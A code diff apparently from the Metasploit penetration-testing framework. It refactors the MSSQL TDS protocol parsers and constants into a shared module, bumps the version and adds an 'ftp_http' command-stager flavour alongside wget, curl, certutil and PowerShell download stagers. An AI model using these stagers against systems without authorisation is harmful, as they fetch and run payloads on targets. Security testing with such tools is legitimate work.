end
|
||||
|
||||
case col[:id]
|
||||
when :hex
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if len > 0 && len < 65535
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :string
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if len > 0 && len < 65535
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.gsub("\x00", '')
|
||||
|
||||
when :datetime
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :rawint
|
||||
row << data.slice!(0, 4).unpack('V')[0]
|
||||
|
||||
when :bigint
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :smallint
|
||||
row << data.slice!(0, 2).unpack("v")[0]
|
||||
|
||||
when :smallint3
|
||||
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
|
||||
|
||||
when :tinyint
|
||||
row << data.slice!(0, 1).unpack("C")[0]
|
||||
|
||||
when :image
|
||||
str = ''
|
||||
len = data.slice!(0, 1).unpack('C')[0]
|
||||
str = data.slice!(0, len) if len && len > 0
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :int
|
||||
len = data.slice!(0, 1).unpack("C")[0]
|
||||
raw = data.slice!(0, len) if len && len > 0
|
||||
|
||||
case len
|
||||
when 0, 255
|
||||
row << ''
|
||||
when 1
|
||||
row << raw.unpack("C")[0]
|
||||
when 2
|
||||
row << raw.unpack('v')[0]
|
||||
when 4
|
||||
row << raw.unpack('V')[0]
|
||||
when 5
|
||||
row << raw.unpack('V')[0] # XXX: missing high byte
|
||||
when 8
|
||||
row << raw.unpack('VV')[0] # XXX: missing high dword
|
||||
else
|
||||
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
|
||||
end
|
||||
else
|
||||
info[:errors] << "unknown column type: #{col.inspect}"
|
||||
end
|
||||
end
|
||||
|
||||
info[:rows] << row
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "ret" TDS token
|
||||
#
|
||||
def mssql_parse_ret(data, info)
|
||||
ret = data.slice!(0, 4).unpack('N')[0]
|
||||
info[:ret] = ret
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "done" TDS token
|
||||
#
|
||||
def mssql_parse_done(data, info)
|
||||
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
|
||||
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "error" TDS token
|
||||
#
|
||||
def mssql_parse_error(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "environment change" TDS token
|
||||
#
|
||||
def mssql_parse_env(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
type = buff.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
nval = ''
|
||||
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
|
||||
|
||||
oval = ''
|
||||
olen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
|
||||
|
||||
info[:envs] ||= []
|
||||
info[:envs] << { :type => type, :old => oval, :new => nval }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "information" TDS token
|
||||
#
|
||||
def mssql_parse_info(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:infos] ||= []
|
||||
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "login ack" TDS token
|
||||
#
|
||||
def mssql_parse_login_ack(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
_buff = data.slice!(0, len)
|
||||
info[:login_ack] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,5 +1,6 @@
|
||||
require 'metasploit/framework/tcp/client'
|
||||
require 'metasploit/framework/mssql/tdssslproxy'
|
||||
require 'metasploit/framework/mssql/base'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
@@ -8,32 +9,7 @@ module Metasploit
|
||||
module Client
|
||||
extend ActiveSupport::Concern
|
||||
include Metasploit::Framework::Tcp::Client
|
||||
|
||||
# Encryption
|
||||
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
||||
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
||||
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
|
||||
ENCRYPT_REQ = 0x03 #Encryption is required.
|
||||
|
||||
# Packet Type
|
||||
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
||||
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
||||
TYPE_RPC = 3 # (Client) RPC
|
||||
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
||||
# Request Completion, Error and Info Messages, Attention Acknowledgement
|
||||
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
||||
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
||||
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
|
||||
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
||||
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
||||
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
||||
|
||||
# Status
|
||||
STATUS_NORMAL = 0x00
|
||||
STATUS_END_OF_MESSAGE = 0x01
|
||||
STATUS_IGNORE_EVENT = 0x02
|
||||
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
||||
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
|
||||
include Metasploit::Framework::MSSQL::Base
|
||||
|
||||
#
|
||||
# This method connects to the server over TCP and attempts
|
||||
@@ -145,7 +121,7 @@ module Metasploit
|
||||
if tdsencryption == true
|
||||
proxy = TDSSSLProxy.new(sock)
|
||||
proxy.setup_ssl
|
||||
resp = proxy.send_recv(pkt, 15, false)
|
||||
resp = proxy.send_recv(pkt)
|
||||
else
|
||||
resp = mssql_send_recv(pkt, 15, false)
|
||||
end
|
||||
@@ -281,278 +257,6 @@ module Metasploit
|
||||
info[:login_ack] ? true : false
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "environment change" TDS token
|
||||
#
|
||||
def mssql_parse_env(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
type = buff.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
nval = ''
|
||||
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
nval = buff.slice!(0, nlen*2).gsub("\x00", '') if nlen > 0
|
||||
|
||||
oval = ''
|
||||
olen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
oval = buff.slice!(0, olen*2).gsub("\x00", '') if olen > 0
|
||||
|
||||
info[:envs] ||= []
|
||||
info[:envs] << { :type => type, :old => oval, :new => nval }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "ret" TDS token
|
||||
#
|
||||
def mssql_parse_ret(data, info)
|
||||
ret = data.slice!(0, 4).unpack('N')[0]
|
||||
info[:ret] = ret
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "done" TDS token
|
||||
#
|
||||
def mssql_parse_done(data, info)
|
||||
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
|
||||
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "error" TDS token
|
||||
#
|
||||
def mssql_parse_error(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "information" TDS token
|
||||
#
|
||||
def mssql_parse_info(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:infos] ||= []
|
||||
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "login ack" TDS token
|
||||
#
|
||||
def mssql_parse_login_ack(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
_buff = data.slice!(0, len)
|
||||
info[:login_ack] = true
|
||||
end
|
||||
|
||||
#
|
||||
# Parse individual tokens from a TDS reply
|
||||
#
|
||||
def mssql_parse_reply(data, info)
|
||||
info[:errors] = []
|
||||
return if not data
|
||||
until data.empty?
|
||||
token = data.slice!(0, 1).unpack('C')[0]
|
||||
case token
|
||||
when 0x81
|
||||
mssql_parse_tds_reply(data, info)
|
||||
when 0xd1
|
||||
mssql_parse_tds_row(data, info)
|
||||
when 0xe3
|
||||
mssql_parse_env(data, info)
|
||||
when 0x79
|
||||
mssql_parse_ret(data, info)
|
||||
when 0xfd, 0xfe, 0xff
|
||||
mssql_parse_done(data, info)
|
||||
when 0xad
|
||||
mssql_parse_login_ack(data, info)
|
||||
when 0xab
|
||||
mssql_parse_info(data, info)
|
||||
when 0xaa
|
||||
mssql_parse_error(data, info)
|
||||
when nil
|
||||
break
|
||||
else
|
||||
info[:errors] << "unsupported token: #{token}"
|
||||
end
|
||||
end
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a raw TDS reply from the server
|
||||
#
|
||||
def mssql_parse_tds_reply(data, info)
|
||||
info[:errors] ||= []
|
||||
info[:colinfos] ||= []
|
||||
info[:colnames] ||= []
|
||||
|
||||
# Parse out the columns
|
||||
cols = data.slice!(0, 2).unpack('v')[0]
|
||||
0.upto(cols-1) do |col_idx|
|
||||
col = {}
|
||||
info[:colinfos][col_idx] = col
|
||||
|
||||
col[:utype] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:flags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:type] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
case col[:type]
|
||||
when 48
|
||||
col[:id] = :tinyint
|
||||
|
||||
when 52
|
||||
col[:id] = :smallint
|
||||
|
||||
when 56
|
||||
col[:id] = :rawint
|
||||
|
||||
when 61
|
||||
col[:id] = :datetime
|
||||
|
||||
when 34
|
||||
col[:id] = :image
|
||||
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
|
||||
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
||||
|
||||
when 36
|
||||
col[:id] = :string
|
||||
|
||||
when 38
|
||||
col[:id] = :int
|
||||
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
when 127
|
||||
col[:id] = :bigint
|
||||
|
||||
when 165
|
||||
col[:id] = :hex
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 173
|
||||
col[:id] = :hex # binary(2)
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 231, 175, 167, 239
|
||||
col[:id] = :string
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
else
|
||||
col[:id] = :unknown
|
||||
end
|
||||
|
||||
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
if(col[:msg_len] and col[:msg_len] > 0)
|
||||
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
||||
end
|
||||
info[:colnames] << (col[:name] || 'NULL')
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a single row of a TDS reply
|
||||
#
|
||||
def mssql_parse_tds_row(data, info)
|
||||
info[:rows] ||= []
|
||||
row = []
|
||||
|
||||
info[:colinfos].each do |col|
|
||||
|
||||
if(data.length == 0)
|
||||
row << "<EMPTY>"
|
||||
next
|
||||
end
|
||||
|
||||
case col[:id]
|
||||
when :hex
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if(len > 0 and len < 65535)
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :string
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if(len > 0 and len < 65535)
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.gsub("\x00", '')
|
||||
|
||||
when :datetime
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :rawint
|
||||
row << data.slice!(0, 4).unpack('V')[0]
|
||||
|
||||
when :bigint
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :smallint
|
||||
row << data.slice!(0, 2).unpack("v")[0]
|
||||
|
||||
when :smallint3
|
||||
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
|
||||
|
||||
when :tinyint
|
||||
row << data.slice!(0, 1).unpack("C")[0]
|
||||
|
||||
when :image
|
||||
str = ''
|
||||
len = data.slice!(0, 1).unpack('C')[0]
|
||||
str = data.slice!(0, len) if (len and len > 0)
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :int
|
||||
len = data.slice!(0, 1).unpack("C")[0]
|
||||
raw = data.slice!(0, len) if (len and len > 0)
|
||||
|
||||
case len
|
||||
when 0, 255
|
||||
row << ''
|
||||
when 1
|
||||
row << raw.unpack("C")[0]
|
||||
when 2
|
||||
row << raw.unpack('v')[0]
|
||||
when 4
|
||||
row << raw.unpack('V')[0]
|
||||
when 5
|
||||
row << raw.unpack('V')[0] # XXX: missing high byte
|
||||
when 8
|
||||
row << raw.unpack('VV')[0] # XXX: missing high dword
|
||||
else
|
||||
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
|
||||
end
|
||||
else
|
||||
info[:errors] << "unknown column type: #{col.inspect}"
|
||||
end
|
||||
end
|
||||
|
||||
info[:rows] << row
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
#this method send a prelogin packet and check if encryption is off
|
||||
#
|
||||
@@ -690,56 +394,10 @@ module Metasploit
|
||||
encryption_mode
|
||||
end
|
||||
|
||||
#
|
||||
# Send and receive using TDS
|
||||
#
|
||||
def mssql_send_recv(req, timeout=15, check_status = true)
|
||||
sock.put(req)
|
||||
|
||||
# Read the 8 byte header to get the length and status
|
||||
# Read the length to get the data
|
||||
# If the status is 0, read another header and more data
|
||||
|
||||
done = false
|
||||
resp = ""
|
||||
|
||||
while(not done)
|
||||
head = sock.get_once(8, timeout)
|
||||
if !(head && head.length == 8)
|
||||
return false
|
||||
end
|
||||
|
||||
# Is this the last buffer?
|
||||
if head[1, 1] == "\x01" || !check_status
|
||||
done = true
|
||||
end
|
||||
|
||||
# Grab this block's length
|
||||
rlen = head[2, 2].unpack('n')[0] - 8
|
||||
|
||||
while(rlen > 0)
|
||||
buff = sock.get_once(rlen, timeout)
|
||||
return if not buff
|
||||
resp << buff
|
||||
rlen -= buff.length
|
||||
end
|
||||
end
|
||||
|
||||
resp
|
||||
end
|
||||
|
||||
def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
|
||||
tdsproxy.send_recv(req)
|
||||
end
|
||||
|
||||
#
|
||||
# Encrypt a password according to the TDS protocol (encode)
|
||||
#
|
||||
def mssql_tds_encrypt(pass)
|
||||
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
|
||||
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def windows_authentication
|
||||
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.2.7"
|
||||
VERSION = "6.2.8"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -26,7 +26,8 @@ module Exploit::CmdStager
|
||||
:curl => Rex::Exploitation::CmdStagerCurl,
|
||||
:fetch => Rex::Exploitation::CmdStagerFetch,
|
||||
:lwprequest => Rex::Exploitation::CmdStagerLwpRequest,
|
||||
:psh_invokewebrequest => Rex::Exploitation::CmdStagerPSHInvokeWebRequest
|
||||
:psh_invokewebrequest => Rex::Exploitation::CmdStagerPSHInvokeWebRequest,
|
||||
:ftp_http => Rex::Exploitation::CmdStagerFtpHttp,
|
||||
}
|
||||
|
||||
# Constant for decoders - used when checking the default flavor decoder.
|
||||
@@ -55,7 +56,7 @@ module Exploit::CmdStager
|
||||
flavors = STAGERS.keys if flavors.empty?
|
||||
flavors.unshift('auto')
|
||||
|
||||
server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto certutil tftp wget curl fetch lwprequest psh_invokewebrequest}]
|
||||
server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto certutil tftp wget curl fetch lwprequest psh_invokewebrequest ftp_http}]
|
||||
register_options(
|
||||
[
|
||||
OptAddressLocal.new('SRVHOST', [true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ], conditions: server_conditions),
|
||||
|
||||
@@ -1,4 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'metasploit/framework/mssql/base'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
@@ -12,32 +15,7 @@ module Exploit::Remote::MSSQL
|
||||
include Exploit::Remote::Udp
|
||||
include Exploit::Remote::Tcp
|
||||
include Exploit::Remote::NTLM::Client
|
||||
|
||||
# Encryption
|
||||
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
||||
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
||||
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
|
||||
ENCRYPT_REQ = 0x03 #Encryption is required.
|
||||
|
||||
# Packet Type
|
||||
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
||||
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
||||
TYPE_RPC = 3 # (Client) RPC
|
||||
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
||||
# Request Completion, Error and Info Messages, Attention Acknowledgement
|
||||
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
||||
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
||||
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
|
||||
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
||||
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
||||
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
||||
|
||||
# Status
|
||||
STATUS_NORMAL = 0x00
|
||||
STATUS_END_OF_MESSAGE = 0x01
|
||||
STATUS_IGNORE_EVENT = 0x02
|
||||
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
||||
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
|
||||
include Metasploit::Framework::MSSQL::Base
|
||||
|
||||
#
|
||||
# Creates an instance of a MSSQL exploit module.
|
||||
@@ -225,52 +203,6 @@ module Exploit::Remote::MSSQL
|
||||
print_status("Be sure to cleanup #{var_payload}.exe...")
|
||||
end
|
||||
|
||||
#
|
||||
# Send and receive using TDS
|
||||
#
|
||||
def mssql_send_recv(req, timeout=15, check_status = true)
|
||||
sock.put(req)
|
||||
|
||||
# Read the 8 byte header to get the length and status
|
||||
# Read the length to get the data
|
||||
# If the status is 0, read another header and more data
|
||||
|
||||
done = false
|
||||
resp = ""
|
||||
|
||||
while(not done)
|
||||
head = sock.get_once(8, timeout)
|
||||
if !(head && head.length == 8)
|
||||
return false
|
||||
end
|
||||
|
||||
# Is this the last buffer?
|
||||
if(head[1, 1] == "\x01" or not check_status )
|
||||
done = true
|
||||
end
|
||||
|
||||
# Grab this block's length
|
||||
rlen = head[2, 2].unpack('n')[0] - 8
|
||||
|
||||
while(rlen > 0)
|
||||
buff = sock.get_once(rlen, timeout)
|
||||
return if not buff
|
||||
resp << buff
|
||||
rlen -= buff.length
|
||||
end
|
||||
end
|
||||
|
||||
resp
|
||||
end
|
||||
|
||||
#
|
||||
# Encrypt a password according to the TDS protocol (encode)
|
||||
#
|
||||
def mssql_tds_encrypt(pass)
|
||||
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
|
||||
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
|
||||
end
|
||||
|
||||
#
|
||||
#this method send a prelogin packet and check if encryption is off
|
||||
#
|
||||
@@ -641,7 +573,6 @@ module Exploit::Remote::MSSQL
|
||||
info
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Nicely print the results of a SQL query
|
||||
#
|
||||
@@ -675,278 +606,5 @@ module Exploit::Remote::MSSQL
|
||||
print_line(tbl.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Parse a raw TDS reply from the server
|
||||
#
|
||||
def mssql_parse_tds_reply(data, info)
|
||||
info[:errors] ||= []
|
||||
info[:colinfos] ||= []
|
||||
info[:colnames] ||= []
|
||||
|
||||
# Parse out the columns
|
||||
cols = data.slice!(0, 2).unpack('v')[0]
|
||||
0.upto(cols-1) do |col_idx|
|
||||
col = {}
|
||||
info[:colinfos][col_idx] = col
|
||||
|
||||
col[:utype] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:flags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:type] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
case col[:type]
|
||||
when 48
|
||||
col[:id] = :tinyint
|
||||
|
||||
when 52
|
||||
col[:id] = :smallint
|
||||
|
||||
when 56
|
||||
col[:id] = :rawint
|
||||
|
||||
when 61
|
||||
col[:id] = :datetime
|
||||
|
||||
when 34
|
||||
col[:id] = :image
|
||||
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
|
||||
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
||||
|
||||
when 36
|
||||
col[:id] = :string
|
||||
|
||||
when 38
|
||||
col[:id] = :int
|
||||
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
when 127
|
||||
col[:id] = :bigint
|
||||
|
||||
when 165
|
||||
col[:id] = :hex
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 173
|
||||
col[:id] = :hex # binary(2)
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 231, 175, 167, 239
|
||||
col[:id] = :string
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
else
|
||||
col[:id] = :unknown
|
||||
end
|
||||
|
||||
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
if col[:msg_len] && col[:msg_len] > 0
|
||||
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
||||
end
|
||||
info[:colnames] << (col[:name] || 'NULL')
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Parse individual tokens from a TDS reply
|
||||
#
|
||||
def mssql_parse_reply(data, info)
|
||||
info[:errors] = []
|
||||
return if not data
|
||||
until data.empty?
|
||||
token = data.slice!(0, 1).unpack('C')[0]
|
||||
case token
|
||||
when 0x81
|
||||
mssql_parse_tds_reply(data, info)
|
||||
when 0xd1
|
||||
mssql_parse_tds_row(data, info)
|
||||
when 0xe3
|
||||
mssql_parse_env(data, info)
|
||||
when 0x79
|
||||
mssql_parse_ret(data, info)
|
||||
when 0xfd, 0xfe, 0xff
|
||||
mssql_parse_done(data, info)
|
||||
when 0xad
|
||||
mssql_parse_login_ack(data, info)
|
||||
when 0xab
|
||||
mssql_parse_info(data, info)
|
||||
when 0xaa
|
||||
mssql_parse_error(data, info)
|
||||
when nil
|
||||
break
|
||||
else
|
||||
info[:errors] << "unsupported token: #{token}"
|
||||
end
|
||||
end
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a single row of a TDS reply
|
||||
#
|
||||
def mssql_parse_tds_row(data, info)
|
||||
info[:rows] ||= []
|
||||
row = []
|
||||
|
||||
info[:colinfos].each do |col|
|
||||
|
||||
if(data.length == 0)
|
||||
row << "<EMPTY>"
|
||||
next
|
||||
end
|
||||
|
||||
case col[:id]
|
||||
when :hex
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if len > 0 && len < 65535
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :string
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if len > 0 && len < 65535
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.gsub("\x00", '')
|
||||
|
||||
when :datetime
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :rawint
|
||||
row << data.slice!(0, 4).unpack('V')[0]
|
||||
|
||||
when :bigint
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :smallint
|
||||
row << data.slice!(0, 2).unpack("v")[0]
|
||||
|
||||
when :smallint3
|
||||
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
|
||||
|
||||
when :tinyint
|
||||
row << data.slice!(0, 1).unpack("C")[0]
|
||||
|
||||
when :image
|
||||
str = ''
|
||||
len = data.slice!(0, 1).unpack('C')[0]
|
||||
str = data.slice!(0, len) if len && len > 0
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :int
|
||||
len = data.slice!(0, 1).unpack("C")[0]
|
||||
raw = data.slice!(0, len) if len && len > 0
|
||||
|
||||
case len
|
||||
when 0, 255
|
||||
row << ''
|
||||
when 1
|
||||
row << raw.unpack("C")[0]
|
||||
when 2
|
||||
row << raw.unpack('v')[0]
|
||||
when 4
|
||||
row << raw.unpack('V')[0]
|
||||
when 5
|
||||
row << raw.unpack('V')[0] # XXX: missing high byte
|
||||
when 8
|
||||
row << raw.unpack('VV')[0] # XXX: missing high dword
|
||||
else
|
||||
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
|
||||
end
|
||||
else
|
||||
info[:errors] << "unknown column type: #{col.inspect}"
|
||||
end
|
||||
end
|
||||
|
||||
info[:rows] << row
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "ret" TDS token
|
||||
#
|
||||
def mssql_parse_ret(data, info)
|
||||
ret = data.slice!(0, 4).unpack('N')[0]
|
||||
info[:ret] = ret
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "done" TDS token
|
||||
#
|
||||
def mssql_parse_done(data, info)
|
||||
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
|
||||
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "error" TDS token
|
||||
#
|
||||
def mssql_parse_error(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "environment change" TDS token
|
||||
#
|
||||
def mssql_parse_env(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
type = buff.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
nval = ''
|
||||
